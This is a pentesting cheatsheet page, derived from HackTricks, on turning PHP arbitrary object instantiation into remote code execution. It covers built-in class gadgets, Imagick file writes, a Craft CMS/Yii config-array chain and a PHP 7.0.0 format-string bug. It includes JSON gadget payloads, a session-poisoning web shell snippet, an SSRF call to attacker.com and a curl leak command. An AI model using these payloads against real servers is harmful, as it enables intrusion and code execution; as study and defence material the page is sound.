daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

php-rce-abusing-object-creation-new-usd-get-a-usd-get-b.md (11285B)


      1 ---
      2 title: "PHP - RCE abusing object creation: new $GET[\"a\"]($GET[\"b\"])"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
     14 
     15 This is basically a summary of [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)<sup>[[1]](#references)</sup>
     16 
     17 ## Introduction
     18 
     19 The creation of new arbitrary objects, such as `new $_GET["a"]($_GET["b"])`, can lead to Remote Code Execution (RCE), as detailed in a [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). This document highlights various strategies for achieving RCE.<sup>[[1]](#references)</sup>
     20 
     21 ## RCE via Custom Classes or Autoloading
     22 
     23 The syntax `new $a($b)` is used to instantiate an object where **`$a`** represents the class name and **`$b`** is the first argument passed to the constructor. These variables can be sourced from user inputs like GET/POST, where they may be strings or arrays, or from JSON, where they might present as other types.<sup>[[1]](#references)</sup>
     24 
     25 Consider the code snippet below:
     26 
     27 ```php
     28 class App {
     29     function __construct ($cmd) {
     30         system($cmd);
     31     }
     32 }
     33 
     34 class App2 {
     35     function App2 ($cmd) {
     36         system($cmd);
     37     }
     38 }
     39 
     40 $a = $_GET['a'];
     41 $b = $_GET['b'];
     42 
     43 new $a($b);
     44 ```
     45 
     46 In this instance, setting `$a` to `App` and `$b` to a system command (for example, `uname -a`) executes that command. `App2` demonstrates PHP's legacy same-name constructor: it is deprecated in PHP 7 and is not treated as a constructor in PHP 8, so that branch is version-specific.<sup>[[1]](#references)[[7]](#references)</sup>
     47 
     48 **Autoloading functions** can be exploited if no such classes are directly accessible. These functions automatically load classes from files when needed and can be defined with `spl_autoload_register`; the example also retains legacy `__autoload`, which was deprecated in PHP 7.2 and removed in PHP 8.0.<sup>[[1]](#references)[[8]](#references)[[9]](#references)</sup>
     49 
     50 ```php
     51 spl_autoload_register(function ($class_name) {
     52     include './../classes/' . $class_name . '.php';
     53 });
     54 
     55 function __autoload($class_name) {
     56     include $class_name . '.php';
     57 };
     58 
     59 spl_autoload_register();
     60 ```
     61 
     62 The behavior of autoloading varies with PHP versions, offering different RCE possibilities.<sup>[[1]](#references)</sup>
     63 
     64 ## RCE via Built-In Classes
     65 
     66 Lacking custom classes or autoloaders, **built-in PHP classes** may suffice for RCE. The number of these classes ranges between 100 to 200, based on PHP version and extensions. They can be listed using `get_declared_classes()`.<sup>[[1]](#references)</sup>
     67 
     68 Constructors of interest can be identified through the reflection API, as shown in the following example and the link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).<sup>[[1]](#references)</sup>
     69 
     70 **RCE via specific methods includes:**
     71 
     72 ### **SSRF + Phar Deserialization**
     73 
     74 The `SplFileObject` constructor can provide an SSRF primitive when the requested stream wrapper is enabled; HTTP/FTP URL wrappers also depend on `allow_url_fopen`.<sup>[[1]](#references)</sup>
     75 
     76 ```php
     77 new SplFileObject('http://attacker.com/');
     78 ```
     79 
     80 Before PHP 8.0, filesystem operations on a `phar://` URL could automatically deserialize Phar metadata and turn SSRF/file-operation primitives into object injection. PHP 8.0 stopped automatic metadata unserialization, so later versions require an explicit `Phar::getMetadata()` path or another gadget.<sup>[[1]](#references)[[9]](#references)</sup>
     81 
     82 ### **Exploiting PDOs**
     83 
     84 The PDO class constructor allows connections to databases via DSN strings, potentially enabling file creation or other interactions:<sup>[[1]](#references)</sup>
     85 
     86 ```php
     87 new PDO("sqlite:/tmp/test.txt")
     88 ```
     89 
     90 ### **SoapClient/SimpleXMLElement XXE**
     91 
     92 Versions of PHP up to 5.3.22 and 5.4.12 were susceptible to XXE attacks through the `SoapClient` and `SimpleXMLElement` constructors, contingent on the version of libxml2.<sup>[[1]](#references)</sup>
     93 
     94 ## RCE via Imagick Extension
     95 
     96 In the analysis of a **project's dependencies**, it was discovered that **Imagick** could be leveraged for **command execution** by instantiating new objects. This presents an opportunity for exploiting vulnerabilities.<sup>[[1]](#references)</sup>
     97 
     98 ### VID parser
     99 
    100 The VID parser capability of writing content to any specified path in the filesystem was identified. This could lead to the placement of a PHP shell in a web-accessible directory, achieving Remote Code Execution (RCE).<sup>[[1]](#references)</sup>
    101 
    102 #### VID Parser + File Upload
    103 
    104 It's noted that PHP temporarily stores uploaded files in `/tmp/phpXXXXXX`. The VID parser in Imagick, utilizing the **msl** protocol, can handle wildcards in file paths, facilitating the transfer of the temporary file to a chosen location. This method offers an additional approach to achieve arbitrary file writing within the filesystem.<sup>[[1]](#references)</sup>
    105 
    106 ### PHP Crash + Brute Force
    107 
    108 A method described in the [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) involves uploading files that trigger a server crash before deletion. By brute-forcing the name of the temporary file, it becomes possible for Imagick to execute arbitrary PHP code. However, this technique was found to be effective only in an outdated version of ImageMagick.<sup>[[1]](#references)</sup>
    109 
    110 ## Yii / Craft CMS config-array object creation
    111 
    112 Craft CMS CVE-2025-32432 is a good real-world example of a broader Yii abuse pattern: if attacker-controlled arrays reach a Yii constructor or `Yii::createObject()`-style sink, **behavior attachment and class selection can become an object-instantiation primitive**.<sup>[[3]](#references)[[4]](#references)</sup>
    113 
    114 Two config features are especially interesting:<sup>[[3]](#references)[[5]](#references)</sup>
    115 
    116 - `as <name>` attaches a behavior, so nested arrays are treated as object configs.
    117 - In vulnerable Yii 2 builds before **2.0.52**, `__class` can take precedence over a validated `class`, so checking only `class` is bypassable.
    118 
    119 Minimal pattern:
    120 
    121 ```json
    122 {
    123   "as session": {
    124     "class": "safe\ExpectedBehavior",
    125     "__class": "GuzzleHttp\Psr7\FnStream",
    126     "__construct()": [[]],
    127     "_fn_close": "phpinfo"
    128   }
    129 }
    130 ```
    131 
    132 If `phpinfo()` runs when the object is closed or destroyed, you have confirmed **arbitrary Yii class instantiation plus callable control** without needing a full RCE chain.<sup>[[3]](#references)</sup>
    133 
    134 ### `yii\rbac\PhpManager` as a file-evaluation gadget
    135 
    136 `yii\rbac\PhpManager` expects `itemFile` to point to a **PHP script** containing authorization items. If you can instantiate it with controlled constructor data, you can turn **any readable attacker-influenced PHP file** into code execution:<sup>[[3]](#references)[[6]](#references)</sup>
    137 
    138 ```json
    139 {
    140   "as exploit": {
    141     "class": "safe\ExpectedBehavior",
    142     "__class": "yii\rbac\PhpManager",
    143     "__construct()": [{
    144       "itemFile": "/var/lib/php/sessions/sess_<PHPSESSID>"
    145     }]
    146   }
    147 }
    148 ```
    149 
    150 Useful file sources include:
    151 
    152 - File-based PHP sessions such as `/var/lib/php/sessions/sess_<PHPSESSID>`
    153 - Web / PHP error logs
    154 - Uploaded files or predictable temporary files
    155 
    156 ### Pre-auth redirect/session poisoning
    157 
    158 A practical way to create the PHP file is to hit a **protected route before login**. Many frameworks remember the full requested URL in the session so they can redirect the user after authentication. If query-string data is copied verbatim into a file-backed session, injecting PHP such as `<?=system($_GET['cmd'])?>` can turn the session file into a predictable code container.<sup>[[3]](#references)</sup>
    159 
    160 To exploit this reliably:<sup>[[3]](#references)</sup>
    161 
    162 1. Obtain or create a valid session ID.
    163 2. Poison the same session with PHP syntax via a pre-auth redirect/cache/session feature.
    164 3. Reuse that exact session ID when triggering the `PhpManager` gadget, or the wrong file will be loaded.
    165 4. If the endpoint crashes with `500` after execution, verify with a side channel such as `ping`, DNS, or HTTP callbacks instead of waiting for command output.
    166 
    167 ## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
    168 
    169 When user input controls the class name (e.g., `new $_GET['model']()`), PHP 7.0.0 introduced a transient bug during the `Throwable` refactor where the engine mistakenly treated the class name as a printf format string during resolution. This enables classic printf-style primitives inside PHP: leaks with `%p`, write-count control with width specifiers, and arbitrary writes with `%n` against in-process pointers (for example, GOT entries on ELF builds).<sup>[[2]](#references)</sup>
    170 
    171 Minimal repro vulnerable pattern:
    172 
    173 ```php
    174 <?php
    175 $model = $_GET['model'];
    176 $object = new $model();
    177 ```
    178 
    179 Exploitation outline (from the reference):<sup>[[2]](#references)</sup>
    180 - Leak addresses via `%p` in the class name to find a writable target:
    181   ```bash
    182   curl "http://host/index.php?model=%p-%p-%p"
    183   # Fatal error includes resolved string with leaked pointers
    184   ```
    185 - Use positional parameters and width specifiers to set an exact byte-count, then `%n` to write that value to an address reachable on the stack, aiming at a GOT slot (e.g., `free`) to partially overwrite it to `system`.
    186 - Trigger the hijacked function by passing a class name containing a shell pipe to reach `system("id")`.
    187 
    188 Notes:<sup>[[2]](#references)</sup>
    189 - Works only on PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); fixed in subsequent releases. Severity: critical if arbitrary class instantiation exists.
    190 - Typical payloads chain many `%p` to walk the stack, then `%.<width>d%<pos>$n` to land the partial overwrite.
    191 
    192 ## References
    193 
    194 - [1] [Exploiting Arbitrary Object Instantiations in PHP without Custom Classes](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
    195 - [2] [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
    196 - [3] [0xdf - Hack The Box Orion: Craft CMS CVE-2025-32432 RCE and inetd/Telnet Root Authentication Bypass](https://0xdf.gitlab.io/2026/07/14/htb-orion.html)
    197 - [4] [Craft CMS and CVE-2025-32432](https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432)
    198 - [5] [Yii 2.0.52 security advisory](https://www.yiiframework.com/news/709/please-upgrade-to-yii-2-0-52)
    199 - [6] [Yii `yii\rbac\PhpManager` API docs](https://www.yiiframework.com/doc/api/2.0/yii-rbac-phpmanager)
    200 - [7] [PHP manual - Constructors and Destructors](https://www.php.net/manual/en/language.oop5.decon.php)
    201 - [8] [PHP manual - Autoloading Classes](https://www.php.net/manual/en/language.oop5.autoload.php)
    202 - [9] [PHP 8 migration guide - Backward incompatible changes](https://www.php.net/manual/en/migration80.incompatible.php)